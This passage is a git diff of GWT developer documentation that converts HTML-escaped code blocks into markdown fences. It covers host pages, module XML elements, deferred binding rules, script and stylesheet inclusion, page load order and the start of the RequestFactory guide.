+    <!-- (the id must be exactly as shown)                           -->
+    <iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe>
     
-  &lt;/body&gt;
- &lt;/html&gt;
-</pre>
+  </body>
+ </html>
+```
 
 Note that the body of the page contains only a `SCRIPT` tag and an `IFRAME` tag. It is left to the GWT application to then fill in all the visual content.
 
@@ -58,30 +58,30 @@
 widgets into specific places in an HTML page. To accomplish this, use the `id` attribute in your HTML tags to specify a unique identifier that your GWT code will use to
 attach widgets to that HTML element. For example:
 
-<pre class="prettyprint">
-  &lt;body&gt;
-    &lt;!-- ... other sample HTML omitted   --&gt;
-    &lt;table align=center&gt;
-      &lt;tr&gt;
-        &lt;td id=&quot;slot1&quot;&gt;&lt;/td&gt;
-        &lt;td id=&quot;slot2&quot;&gt;&lt;/td&gt;
-      &lt;/tr&gt;
-    &lt;/table&gt;
-  &lt;/body&gt;
-</pre>
+```
+<body>
+    <!-- ... other sample HTML omitted   -->
+    <table align=center>
+      <tr>
+        <td id="slot1"></td>
+        <td id="slot2"></td>
+      </tr>
+    </table>
+  </body>
+```
 
 Notice that the `td` tags include an `id` attribute associated with them. This attribute is accessible through the `DOM` class. You can easily attach
 widgets using the method `RootPanel.get()`. For example:
 
-<pre class="prettyprint">
-    final Button button = new Button(&quot;Click me&quot;);
+```
+final Button button = new Button("Click me");
     final Label label = new Label();
 
     ...
 
-    RootPanel.get(&quot;slot1&quot;).add(button);
-    RootPanel.get(&quot;slot2&quot;).add(label);
-</pre>
+    RootPanel.get("slot1").add(button);
+    RootPanel.get("slot2").add(label);
+```
 
 In this manner, GWT functionality can be added as just a part of an existing page, and changing the application layout can be done in plain HTML. The `I18N` sample uses
 this technique heavily.
@@ -112,7 +112,7 @@
 
 ### Example: GWT standard package layout
 
-For example, all the files for the &quot;DynaTable&quot; sample are organized in a main project directory also called &quot;DynaTable&quot;.
+For example, all the files for the "DynaTable" sample are organized in a main project directory also called "DynaTable".
 
 *   Java source files are in the directory: `DynaTable/src/com/google/gwt/sample/dynatable`
 *   The module is defined in the XML file: `DynaTable/src/com/google/gwt/sample/dynatable/DynaTable.gwt.xml`
@@ -154,7 +154,7 @@
 <td>`com.google.gwt.sample.dynatable.public` </td>
 <td>`logo.gif` </td>
 <td>An image file available to the application code. You might load this file programmatically using this URL:
-`GWT.getModuleBaseForStaticFiles() + &quot;logo.gif&quot;`.</td>
+`GWT.getModuleBaseForStaticFiles() + "logo.gif"`.</td>
 </tr>
 
 <tr>
@@ -224,13 +224,13 @@
 <td/>
 <td>The DynaTable module directory where the GWT compiler writes output and files on the public path are copied. NOTE: by default
 this directory would be the long, fully-qualified module name `com.google.gwt.sample.dynatable.DynaTable`. However, in our GWT module XML file we used the
-`rename-to=&quot;dynatable&quot;` attribute to shorten it to a nice name.</td>
+`rename-to="dynatable"` attribute to shorten it to a nice name.</td>
 </tr>
 
 <tr>
 <td><nobr>`DynaTable/war/dynatable/`</nobr></td>
 <td>`dynatable.nocache.js` </td>
-<td>The &quot;selection script&quot; for DynaTable. This is the script that must be loaded from the host HTMLto load the GWT module into the
+<td>The "selection script" for DynaTable. This is the script that must be loaded from the host HTMLto load the GWT module into the
 page.</td>
 </tr>
 
@@ -333,7 +333,7 @@
 Modules can specify which subpackages are _public_, causing the named package and its subpackages to be added to the _public path_. The public path is the place in
 your project where static resources referenced by your GWT module, such as CSS or images, are stored. When you compile your application into JavaScript, all the files that can be
 found on your public path are copied to the module's output directory. When referencing public resources in client code (for example, setting the URL of an `Image` widget,
-you should construct the URL like this: `GWT.getModuleBaseForStaticFiles() + &quot;resourceName.png&quot;`. When referencing public resources from a [Module XML File](DevGuideOrganizingProjects.html#DevGuideModuleXml), just use the relative path within the public folder, the module's base URL will be prepended automatically.
+you should construct the URL like this: `GWT.getModuleBaseForStaticFiles() + "resourceName.png"`. When referencing public resources from a [Module XML File](DevGuideOrganizingProjects.html#DevGuideModuleXml), just use the relative path within the public folder, the module's base URL will be prepended automatically.
 When a module inherits other modules, their public paths are combined so that each module will have access to the static resources it expects.
 
 The default public path is the _public_ subdirectory underneath where the [Module XML File](DevGuideOrganizingProjects.html#DevGuideModuleXml) is stored.
@@ -345,12 +345,12 @@
 If you are using the [standard project structure](DevGuideOrganizingProjects.html#DevGuideDirectoriesPackageConventions), your module XML can be as simple as the following
 example:
 
-<pre class="prettyprint">
- &lt;module rename-to=&quot;dynatable&quot;&gt;
-    &lt;inherits name=&quot;com.google.gwt.user.User&quot; /&gt;
-    &lt;entry-point class=&quot;com.google.gwt.sample.dynatable.client.DynaTable&quot; /&gt;
- &lt;/module&gt;
-</pre>
+```
+<module rename-to="dynatable">
+    <inherits name="com.google.gwt.user.User" />
+    <entry-point class="com.google.gwt.sample.dynatable.client.DynaTable" />
+ </module>
+```
 
 ### Loading modules
 
@@ -359,33 +359,33 @@
 
 For example, if the module XML file has a file name of...
 
-<pre>
+```
 ~/src/com/example/cal/Calendar.gwt.xml
-</pre>
+```
 
 ...then the logical name of the module is:
 
-<pre>
+```
 com.example.cal.Calendar
-</pre>
+```
 
 ### Renaming modules
 
-The `&lt;module&gt;` element supports an optional attribute `rename-to` that causes the compiler to behave as though the module had a different name than the
+The `<module>` element supports an optional attribute `rename-to` that causes the compiler to behave as though the module had a different name than the
 long, fully-qualified name. Renaming a module has two primary use cases:
 
 *   to have a shorter module name that doesn't reflect the actual package structure, this is the most typical and recommended use case
-*   to create a &quot;working module&quot; to speed up development time by restricting the number of permutations
+*   to create a "working module" to speed up development time by restricting the number of permutations
 
 `com.foo.WorkingModule.gwt.xml`:
 
-<pre class="prettyprint">
-&lt;module rename-to=&quot;com.foo.MyModule&quot;&gt;
-  &lt;inherits name=&quot;com.foo.MyModule&quot; /&gt;
-  &lt;set-property name=&quot;user.agent&quot; value=&quot;ie6&quot; /&gt;
-  &lt;set-property name=&quot;locale&quot; value=&quot;default&quot; /&gt;
-&lt;/module&gt;
-</pre>
+```
+<module rename-to="com.foo.MyModule">
+  <inherits name="com.foo.MyModule" />
+  <set-property name="user.agent" value="ie6" />
+  <set-property name="locale" value="default" />
+</module>
+```
 
 When `WorkingModule.gwt.xml` is compiled, the compiler will produce only an `ie6` variant using the default locale; this will speed up development compilations.
 The output from the `WorkingModule.gwt.xml` will be a drop-in replacement for `MyModule.gwt.xml` because the compiler will generate the output using the alternate
@@ -396,19 +396,19 @@
 Creating a second module doesn't necessarily mean that that module must define an entry point. Typically, you create a new module when you want to package up a library of GWT
 code that you want to reuse in other GWT projects. An example of this is the Google API Library for GWT ([GALGWT](http://code.google.com/p/gwt-google-apis/)), specifically the Gears for GWT API binding. If you download the library and take a look at the `gwt-google-apis/com/google/gwt/gears` you'll
 find the `Gears.gwt.xml` file for the module which doesn't define an entry point. However, any GWT project that would like to use Gears for GWT will have to inherit the
-Gears.gwt.xml module. For example, a module named &quot;Foo&quot; might want to use GALGWT, so in `Foo.gwt.xml` an `&lt;inherits&gt;` entry would be needed:
+Gears.gwt.xml module. For example, a module named "Foo" might want to use GALGWT, so in `Foo.gwt.xml` an `<inherits>` entry would be needed:
 
-<pre class="prettyprint">
-&lt;module&gt;
+```
+<module>
 ...
-    &lt;inherits name='com.google.gwt.gears.Gears' /&gt;
-</pre>
+    <inherits name='com.google.gwt.gears.Gears' />
+```
 
 ### Loading multiple modules in an HTML host page
 
 If you have multiple GWT modules in your application, there are two ways to approach loading them.
 
-1.  Compile each module separately and include each module with a separate `&lt;script&gt;` tag in your [HTML host
+1.  Compile each module separately and include each module with a separate `<script>` tag in your [HTML host
 page](DevGuideOrganizingProjects.html#DevGuideHostPage).
 2.  Create a top level module XML definition that includes all the modules you want to include. Compile the top level module to create a single set of JavaScript output.
 
@@ -425,16 +425,16 @@
 
 ### Overriding one package implementation with another
 
-The `&lt;super-source&gt;` tag instructs the compiler to &quot;re-root&quot; a source path. This is useful for cases where you want to be re-use an existing Java API for a GWT
+The `<super-source>` tag instructs the compiler to "re-root" a source path. This is useful for cases where you want to be re-use an existing Java API for a GWT
 project, but the original source is not available or not translatable. A common reason for this is to emulate part of the JRE not implemented by GWT.
 
 For example, suppose you want implement the UUID class provided by the JRE under `java.util`. Assume your project's module file is
 `com/example/myproject/MyProject.gwt.xml`. Place the source for the UUID class into `com/example/myproject/jre/java/util/UUID.java`. Then add a line to
 `MyProject.gwt.xml`:
 
-<pre class="prettyprint">
-    &lt;super-source path=&quot;jre&quot; /&gt;
-</pre>
+```
+<super-source path="jre" />
+```
 
 This tells the compiler to add all subfolders of `com/example/myproject/jre/` to the [source path](DevGuideOrganizingProjects.html#DevGuideModules), but to strip off
 the path prefix up to and including `jre`. As a result, `com/google/myproject/gwt/jre/java/util/UUID.java` will be visible to the compiler as
@@ -446,7 +446,7 @@
 development mode, the native JRE classes always supercede classes compiled
 from source.
 
-The `&lt;super-source&gt;` element supports [pattern-based
+The `<super-source>` element supports [pattern-based
 filtering](DevGuideOrganizingProjects.html#DevGuidePathFiltering) to allow fine-grained control over which resources get copied
 into the output directory during a GWT compile.
 
@@ -454,44 +454,44 @@
 
 This section documents the most commonly used elements in the module XML file.
 
-*   `&lt;`inherits name=&quot;_logical-module-name_&quot; /`&gt;` : Inherits all the settings from the specified module as if the contents of the inherited module's XML
+*   `<inherits name="_logical-module-name_" />` : Inherits all the settings from the specified module as if the contents of the inherited module's XML
 were copied verbatim. Any number of modules can be inherited in this manner. See also [this advice about deciding which modules to inherit](DevGuideOrganizingProjects.html#DevGuideInheritingModules).
 
-*   `&lt;`entry-point class=&quot;_classname_&quot; /`&gt;` : Specifies an [entry point](/javadoc/latest/com/google/gwt/core/client/EntryPoint.html) class. Any number of entry-point classes
+*   `<entry-point class="_classname_" />` : Specifies an [entry point](/javadoc/latest/com/google/gwt/core/client/EntryPoint.html) class. Any number of entry-point classes
 can be added, including those from inherited modules. Entry points are all compiled into a single codebase. They are called sequentially in the order in which they appear in the
 module file. So when the `onModuleLoad()` of your first entry point finishes, the next entry point is called immediately.
 
-*   `&lt;`source path=&quot;_path_&quot; /`&gt;` : Each occurrence of the `&lt;source&gt;` tag adds a package to the [source path](DevGuideOrganizingProjects.html#DevGuideModules) by combining the package in which the module XML is found with the specified path to a subpackage. Any Java source
-file appearing in this subpackage or any of its subpackages is assumed to be translatable. The `&lt;source&gt;` element supports [pattern-based filtering](DevGuideOrganizingProjects.html#DevGuidePathFiltering) to allow fine-grained control over which resources get copied into the output directory
+*   `<source path="_path_" />` : Each occurrence of the `<source>` tag adds a package to the [source path](DevGuideOrganizingProjects.html#DevGuideModules) by combining the package in which the module XML is found with the specified path to a subpackage. Any Java source
+file appearing in this subpackage or any of its subpackages is assumed to be translatable. The `<source>` element supports [pattern-based filtering](DevGuideOrganizingProjects.html#DevGuidePathFiltering) to allow fine-grained control over which resources get copied into the output directory
 during a GWT compile.
 
-> If no `&lt;source&gt;` element is defined in a module XML file, the _client_ subpackage is implicitly added to the source path as if `&lt;source
-> path=&quot;client&quot; /&gt;` had been found in the XML. This default helps keep module XML compact for standard project layouts.
+> If no `<source>` element is defined in a module XML file, the _client_ subpackage is implicitly added to the source path as if `<source
+> path="client" />` had been found in the XML. This default helps keep module XML compact for standard project layouts.
 
-*   `&lt;`public path=&quot;_path_&quot; /`&gt;` : Each occurrence of the `&lt;public&gt;` tag adds a package to the [public path](DevGuideOrganizingProjects.html#DevGuideModules) by combining the package in which the module XML is found with the specified path to identify the root of a public
-path entry. Any file appearing in this package or any of its subpackages will be treated as a publicly-accessible resource. The `&lt;public&gt;` element supports [pattern-based filtering](DevGuideOrganizingProjects.html#DevGuidePathFiltering) to allow fine-grained control over which resources get copied into the output directory
+*   `<public path="_path_" />` : Each occurrence of the `<public>` tag adds a package to the [public path](DevGuideOrganizingProjects.html#DevGuideModules) by combining the package in which the module XML is found with the specified path to identify the root of a public
+path entry. Any file appearing in this package or any of its subpackages will be treated as a publicly-accessible resource. The `<public>` element supports [pattern-based filtering](DevGuideOrganizingProjects.html#DevGuidePathFiltering) to allow fine-grained control over which resources get copied into the output directory
 during a GWT compile.
 
-> If no `&lt;public&gt;` element is defined in a module XML file, the _public_ subpackage is implicitly added to the public path as if `&lt;public
-> path=&quot;public&quot;&gt;` had been found in the XML. This default helps keep module XML compact for standard project layouts.
+> If no `<public>` element is defined in a module XML file, the _public_ subpackage is implicitly added to the public path as if `<public
+> path="public">` had been found in the XML. This default helps keep module XML compact for standard project layouts.
 
-*   `&lt;`servlet path=&quot;_url-path_&quot; class=&quot;_classname_&quot; /`&gt;` : For RPC, this element loads a servlet class mounted at the specified URL path. The URL
+*   `<servlet path="_url-path_" class="_classname_" />` : For RPC, this element loads a servlet class mounted at the specified URL path. The URL
 path should be absolute and have the form of a directory (for example, `/calendar`). Your client code then specifies this URL mapping by annotating the service interface
 with the [@RemoteServiceRelativePath](/javadoc/latest/com/google/gwt/user/client/rpc/RemoteServiceRelativePath.html) attribute. Any number of servlets may be loaded in this manner, including those from inherited modules.
 
-> The `&lt;servlet&gt;` element applies only to GWT's embedded server server-side debugging feature.
+> The `<servlet>` element applies only to GWT's embedded server server-side debugging feature.
 
 > _NOTE: as of GWT 1.6, this tag does no longer loads servlets in
 > development mode, instead you must configure a `WEB-INF/web.xml` in
 > your war directory to load any servlets needed._
 
-*   `&lt;`script src=&quot;_js-url_&quot; /`&gt;` : Automatically injects the external JavaScript file located at the location specified by _src_. See [automatic resource inclusion](DevGuideOrganizingProjects.html#DevGuideAutomaticResourceInclusion) for details. If the specified URL is not absolute, the resource will be loaded
+*   `<script src="_js-url_" />` : Automatically injects the external JavaScript file located at the location specified by _src_. See [automatic resource inclusion](DevGuideOrganizingProjects.html#DevGuideAutomaticResourceInclusion) for details. If the specified URL is not absolute, the resource will be loaded
 from the module's base URL (in other words, it would most likely be a public resource).
 
-*   `&lt;`stylesheet src=&quot;_css-url_&quot; /`&gt;` : Automatically injects the external CSS file located at the location specified by _src_. See [automatic resource inclusion](DevGuideOrganizingProjects.html#DevGuideAutomaticResourceInclusion) for details. If the specified URL is not absolute, the resource will be loaded
+*   `<stylesheet src="_css-url_" />` : Automatically injects the external CSS file located at the location specified by _src_. See [automatic resource inclusion](DevGuideOrganizingProjects.html#DevGuideAutomaticResourceInclusion) for details. If the specified URL is not absolute, the resource will be loaded
 from the module's base URL (in other words, it would most likely be a public resource).
 
-*   `&lt;`extend-property name=&quot;_client-property-name_&quot; values=&quot;_comma-separated-values_&quot; /`&gt;` : Extends the set of values for an existing client
+*   `<extend-property name="_client-property-name_" values="_comma-separated-values_" />` : Extends the set of values for an existing client
 property. Any number of values may be added in this manner, and client property values accumulate through inherited modules. You will likely only find this useful for [specifying locales in internationalization](DevGuideI18nLocale.html#LocaleSpecifying).
 
 ### Elements for Deferred Binding
@@ -499,76 +499,76 @@
 The following elements are used for defining [deferred binding](DevGuideCodingBasics.html#DevGuideDeferredBinding) rules. Deferred binding is not commonly used in user
 projects.
 
-*   `&lt;`replace-with class=&quot;_replacement_class_name_&quot;`&gt;` : A directive to use deferred binding with replacement.
+*   `<replace-with class="_replacement_class_name_">` : A directive to use deferred binding with replacement.
 
-*   `&lt;`generate-with class=&quot;_generator_class_name_&quot;`&gt;` : A directive to use deferred binding using a [Generator](/javadoc/latest/com/google/gwt/core/ext/Generator.html)
+*   `<generate-with class="_generator_class_name_">` : A directive to use deferred binding using a [Generator](/javadoc/latest/com/google/gwt/core/ext/Generator.html)
 
-*   `&lt;`define-property name=&quot;_property_name_&quot; values=&quot;_property_values_&quot;`&gt;` : Define a property and allowable values (comma-separated identifiers).
-This element is typically used to generate a value that will be evaluated by a rule using a `&lt;when...&gt;` element.
+*   `<define-property name="_property_name_" values="_property_values_">` : Define a property and allowable values (comma-separated identifiers).
+This element is typically used to generate a value that will be evaluated by a rule using a `<when...>` element.
 
-*   `&lt;`set-property name=&quot;_property_name_&quot; value=&quot;_property_value_&quot;`&gt;` : Set the value of a previously-defined property (see `&lt;define
-property&gt;` above). This element is typically used to generate a value that will be evaluated by a rule using a `&lt;when...&gt;` element. Note that
+*   `<set-property name="_property_name_" value="_property_value_">` : Set the value of a previously-defined property (see `<define
+property>` above). This element is typically used to generate a value that will be evaluated by a rule using a `<when...>` element. Note that
 `set-property` and `property-provider` on the same value will overwrite each other. The last definition encountered is the one that is used.
 
-*   `&lt;`property-provider name=&quot;_property_name_&quot;`&gt;` : Define a JavaScript fragment that will return the value for the named property at runtime. This
-element is typically used to generate a value that will be evaluated in a `&lt;when...&gt;` element. To see examples of `&lt;property-provider&gt;` definitions in
+*   `<property-provider name="_property_name_">` : Define a JavaScript fragment that will return the value for the named property at runtime. This
+element is typically used to generate a value that will be evaluated in a `<when...>` element. To see examples of `<property-provider>` definitions in
 action, see the files `I18N.gwt.xml` and `UserAgent.gwt.xml` in the GWT source code. Note that `set-property` and `property-provider` on the same value
 will overwrite each other. The last definition encountered is the one that is used.
 
 #### Defining conditions
 
-The `&lt;replace-with-class&gt;` and `&lt;generate-with-class&gt;` elements can take a `&lt;when...&gt;` child element that defines when this rule should
+The `<replace-with-class>` and `<generate-with-class>` elements can take a `<when...>` child element that defines when this rule should
 be used, much like the `WHERE` predicate of an SQL query. The three different types of predicates are:
 
-*   `&lt;`when-property-is name=&quot;_property_name_&quot; value=&quot;_value_&quot; /`&gt;` : Deferred binding predicate that is true when a named property has a given
+*   `<when-property-is name="_property_name_" value="_value_" />` : Deferred binding predicate that is true when a named property has a given
 value.
 
-*   `&lt;`when-type-assignable class=&quot;_class_name_&quot; /`&gt;` : Deferred binding predicate that is true for types in the type system that are assignable to the
+*   `<when-type-assignable class="_class_name_" />` : Deferred binding predicate that is true for types in the type system that are assignable to the
 specified type.
 
-*   `&lt;`when-type-is class=&quot;_class_name_&quot; /`&gt;` : Deferred binding predicate that is true for exactly one type in the type system.
+*   `<when-type-is class="_class_name_" />` : Deferred binding predicate that is true for exactly one type in the type system.
 
-Several different predicates can be combined into an expression. Surround your `&lt;when...&gt;` elements using the following nesting elements begin/end tags:
+Several different predicates can be combined into an expression. Surround your `<when...>` elements using the following nesting elements begin/end tags:
 
-*   `&lt;all&gt;` _when_expressions_ `&lt;/all&gt;` : Predicate that ANDs all child conditions.
+*   `<all>` _when_expressions_ `</all>` : Predicate that ANDs all child conditions.
 
-*   `&lt;any&gt;` _when_expressions_ `&lt;/any&gt;` : Predicate that ORs all child conditions.
+*   `<any>` _when_expressions_ `</any>` : Predicate that ORs all child conditions.
 
-*   `&lt;none&gt;` _when_expressions_ `&lt;/none&gt;` : Predicate that NANDs all child conditions.
+*   `<none>` _when_expressions_ `</none>` : Predicate that NANDs all child conditions.
 
 #### Deferred Binding Example
 
 As an example module XML file that makes use of deferred binding rules, here is a module XML file from the GWT source code, Focus.gwt.xml:
 
-<pre class="prettyprint">
-&lt;module&gt;
-  &lt;inherits name=&quot;com.google.gwt.core.Core&quot; /&gt;
-  &lt;inherits name=&quot;com.google.gwt.user.UserAgent&quot; /&gt;
+```
+<module>
+  <inherits name="com.google.gwt.core.Core" />
+  <inherits name="com.google.gwt.user.UserAgent" />
 
-  &lt;!-- old Mozilla, and Opera need a different implementation --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.FocusImplOld&quot;&gt;
-    &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.FocusImpl&quot; /&gt;
-      &lt;any&gt;
-        &lt;when-property-is name=&quot;user.agent&quot; value=&quot;gecko&quot; /&gt;
-        &lt;when-property-is name=&quot;user.agent&quot; value=&quot;opera&quot; /&gt;
-      &lt;/any&gt;
-  &lt;/replace-with&gt;
+  <!-- old Mozilla, and Opera need a different implementation -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplOld">
+    <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" />
+      <any>
+        <when-property-is name="user.agent" value="gecko" />
+        <when-property-is name="user.agent" value="opera" />
+      </any>
+  </replace-with>
 
-  &lt;!--  Safari needs a different hidden input --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.FocusImplSafari&quot;&gt;
-    &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.FocusImpl&quot; /&gt;
-    &lt;when-property-is name=&quot;user.agent&quot; value=&quot;safari&quot; /&gt;
-  &lt;/replace-with&gt;
+  <!--  Safari needs a different hidden input -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplSafari">
+    <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" />
+    <when-property-is name="user.agent" value="safari" />
+  </replace-with>
 
-  &lt;!-- IE's implementation traps exceptions on invalid setFocus() --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.FocusImplIE6&quot;&gt;
-  &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.FocusImpl&quot; /&gt;
-    &lt;any&gt;
-      &lt;when-property-is name=&quot;user.agent&quot; value=&quot;ie6&quot; /&gt;
-    &lt;/any&gt;
-  &lt;/replace-with&gt;
-&lt;/module&gt;
-</pre>
+  <!-- IE's implementation traps exceptions on invalid setFocus() -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplIE6">
+  <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" />
+    <any>
+      <when-property-is name="user.agent" value="ie6" />
+    </any>
+  </replace-with>
+</module>
+```
 
 ## How do I know which GWT modules I need to inherit?<a id="DevGuideInheritingModules"></a>
 
@@ -661,11 +661,11 @@
 
 ### How To
 
-To inherit a module, edit your project's module XML file and specify the logical name of the module you want to inherit in the `&lt;`inherits`&gt;` tag.
+To inherit a module, edit your project's module XML file and specify the logical name of the module you want to inherit in the `<inherits>` tag.
 
-<pre class="prettyprint">
-  &lt;inherits name=&quot;com.google.gwt.junit.JUnit&quot;/&gt;
-</pre>
+```
+<inherits name="com.google.gwt.junit.JUnit"/>
+```
 
 **Note:** Modules are always referred to by their logical names. The logical name of a module is of the form _pkg1.pkg2.ModuleName_ (although any number of
 packages may be present). The logical name includes neither the actual file system path nor the file extension.
@@ -680,12 +680,12 @@
 Script inclusion is a convenient way to automatically associate external JavaScript files with your module. Use the following syntax to cause an external JavaScript file to be
 loaded into the [host page](DevGuideOrganizingProjects.html#DevGuideHostPage) before your module entry point is called.
 
-<pre class="prettyprint">
-&lt;script src=&quot;_js-url_&quot;/&gt;
-</pre>
+```
+<script src="_js-url_"/>
+```
 
 The script is loaded into the namespace of the [host page](DevGuideOrganizingProjects.html#DevGuideHostPage) as if you had included it explicitly using the HTML
-`&lt;script&gt;` element. The script will be loaded before your [onModuleLoad()](/javadoc/latest/com/google/gwt/core/client/EntryPoint.html#onModuleLoad()) is called.
+`<script>` element. The script will be loaded before your [onModuleLoad()](/javadoc/latest/com/google/gwt/core/client/EntryPoint.html#onModuleLoad()) is called.
 
 > _Versions of GWT prior to 1.4 required a script-ready function to determine when an included script was loaded. This is no longer required; all included scripts will
 > be loaded when your application starts, in the order in which they are declared._
@@ -695,16 +695,16 @@
 Stylesheet inclusion is a convenient way to automatically associate external CSS files with your module. Use the following syntax to cause a CSS file to be automatically
 attached to the [host page](DevGuideOrganizingProjects.html#DevGuideHostPage).
 
-<pre class="prettyprint">
-&lt;stylesheet src=&quot;_css-url_&quot;/&gt;
-</pre>
+```
+<stylesheet src="_css-url_"/>
+```
 
 You can add any number of stylesheets this way, and the order of inclusion into the page reflects the order in which the elements appear in your module XML.
 
 ### Relative vs. Absolute URL
 
-If an absolute URL is specified in the `src` attribute, that URL will be used verbatim. However, if a non-absolute URL is used (for example, &quot;foo.css&quot;), the module's
-base URL is prepended to the resource name. This is identical to constructing an absolute URL using `GWT.getModuleBaseForStaticFiles() + &quot;foo.css&quot;` in client code. This is useful when
+If an absolute URL is specified in the `src` attribute, that URL will be used verbatim. However, if a non-absolute URL is used (for example, "foo.css"), the module's
+base URL is prepended to the resource name. This is identical to constructing an absolute URL using `GWT.getModuleBaseForStaticFiles() + "foo.css"` in client code. This is useful when
 the target resource is from the module's public path.
 
 ### Inclusion and Module Inheritance
@@ -718,7 +718,7 @@
 
 ## Filtering Public and Source Packages<a id="DevGuidePathFiltering"></a>
 
-The [module XML format's](DevGuideOrganizingProjects.html#DevGuideModuleXml) `&lt;public&gt;`, `&lt;source&gt;` and `&lt;super-source&gt;` elements
+The [module XML format's](DevGuideOrganizingProjects.html#DevGuideModuleXml) `<public>`, `<source>` and `<super-source>` elements
 supports certain attributes and nested elements to allow pattern-based inclusion and exclusion in the [public path](DevGuideOrganizingProjects.html#DevGuideModules). These
 elements follow the same rules as [Ant](http://ant.apache.org/)'s `FileSet` element. Please see the [documentation](http://ant.apache.org/manual/Types/fileset.html) for `FileSet` for a general overview. These elements do not support the full
 `FileSet` semantics. Only the following attributes and nested elements are currently supported:
@@ -740,24 +740,24 @@
 
 Consider the following HTML page that loads a GWT module:
 
-<pre class="prettyprint">
-&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
-&lt;html&gt;
-  &lt;body onload='alert(&quot;w00t!&quot;)'&gt;
-    &lt;img src='bigImageZero.jpg'&gt;&lt;/img&gt;
-    &lt;script source='externalScriptZero.js'&gt;&lt;/script&gt;
-    &lt;img src='bigImageOne.jpg'&gt;&lt;/img&gt;
-    &lt;img src='reallyBigImageTwo.jpg'&gt;&lt;/img&gt;
-    &lt;script src='myApp/myApp.nocache.js'&gt;&lt;/script&gt;
-    &lt;script src='externalScriptOne.js'&gt;&lt;/script&gt;
-  &lt;/body&gt;
-&lt;/html&gt;
-</pre>
+```
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+  <body onload='alert("w00t!")'>
+    <img src='bigImageZero.jpg'></img>
+    <script source='externalScriptZero.js'></script>
+    <img src='bigImageOne.jpg'></img>
+    <img src='reallyBigImageTwo.jpg'></img>
+    <script src='myApp/myApp.nocache.js'></script>
+    <script src='externalScriptOne.js'></script>
+  </body>
+</html>
+```
 
 The following principles are needed to understand the sequence of operations that will occur in this page:
 
-*   `&lt;script&gt;` tags always block evaluation of the page until the script is fetched and evaluated.
-*   `&lt;img&gt;` tags do **not** block page evaluation.
+*   `<script>` tags always block evaluation of the page until the script is fetched and evaluated.
+*   `<img>` tags do **not** block page evaluation.
 *   Most browsers will allow a maximum of two simultaneous connections for fetching resources.
 *   The `body.onload()` event will only fire once **all** external resources are fetched, including images and frames.
 *   The GWT selection script (i.e. `myApp/myApp.nocache.js`) will be fetched and evaluated like a normal script tag, but the compiled script will be fetched
@@ -773,8 +773,8 @@
 5.  `externalScriptZero.js` completes.
 6.  Begin fetching `bigImageOne.jpg` and `reallyBigImageTwo.jpg` simultaneously.
 7.  `bigImageOne.jpg` completes (let's assume again). `myApp/myApp.nocache.js` begins fetching and evaluating.
-8.  `myApp/myApp.nocache.js` completes, and the compiled script (`&lt;hashname&gt;.cache.html`) begins fetching in a hidden `IFRAME` (this is non-blocking).
-9.  `&lt;hashname&gt;.cache.html` completes. `onModuleLoad()` is not called yet, as we're still waiting on `externalScriptOne.js` to complete before the document is considered 'ready'.
+8.  `myApp/myApp.nocache.js` completes, and the compiled script (`<hashname>.cache.html`) begins fetching in a hidden `IFRAME` (this is non-blocking).
+9.  `<hashname>.cache.html` completes. `onModuleLoad()` is not called yet, as we're still waiting on `externalScriptOne.js` to complete before the document is considered 'ready'.
 10.  `externalScriptOne.js` completes. The document is ready, so onModuleLoad() fires.
 11.  `reallyBigImageTwo.jpg` completes.
 12.  `body.onload()` fires, in this case showing an alert() box.
@@ -785,8 +785,8 @@
 *   You want to put the GWT selection script as early as possible within the body, so that it begins fetching the compiled script before other scripts (because it won't block any
 other script requests).
 *   If you are going to be fetching external images and scripts, you want to manage your two connections carefully.
-*   `&lt;img&gt;` tags are not guaranteed to be done loading when `onModuleLoad()` is called.
-*   `&lt;script&gt;` tags **are** guaranteed to be done loading when `onModuleLoad()` is called.
+*   `<img>` tags are not guaranteed to be done loading when `onModuleLoad()` is called.
+*   `<script>` tags **are** guaranteed to be done loading when `onModuleLoad()` is called.
 
 ### A Note on Multiple GWT Modules and EntryPoints
 
diff --git a/src/main/markdown/doc/latest/DevGuideRequestFactory.md b/src/main/markdown/doc/latest/DevGuideRequestFactory.md
index 9cdcb87..2119b23 100644
--- a/src/main/markdown/doc/latest/DevGuideRequestFactory.md
+++ b/src/main/markdown/doc/latest/DevGuideRequestFactory.md
@@ -63,7 +63,7 @@
 an entity definition from the [Expenses
 sample application](https://gwt.googlesource.com/gwt/+/master/samples/expenses) found in the GWT distribution.
 
-<pre class="prettyprint">
+```
 package com.google.gwt.sample.expenses.server.domain;
 
 /**
@@ -86,12 +86,12 @@
   private Long supervisorKey;
 
   @Id
-  @Column(name = &quot;id&quot;)
+  @Column(name = "id")
   @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   @Version
-  @Column(name = &quot;version&quot;)
+  @Column(name = "version")
   private Integer version;
 
   @Transient
@@ -106,7 +106,7 @@
   }
   ...
 }
-</pre>
+```
 
 ### Entity Proxies
 
@@ -116,10 +116,10 @@
 GWT-RPC.  RequestFactory automatically propagates bean-style properties between
 entities on the server and the corresponding EntityProxy on the client.
 Furthermore, the EntityProxy interface enables RequestFactory to compute and
-send only changes (&quot;deltas&quot;) to the server. Here's the EntityProxy
+send only changes ("deltas") to the server. Here's the EntityProxy
 corresponding to the Employee shown above.
 
-<pre class="prettyprint">
+```
 @ProxyFor(Employee.class)
 public interface EmployeeProxy extends EntityProxy {
 
@@ -145,7 +145,7 @@
 
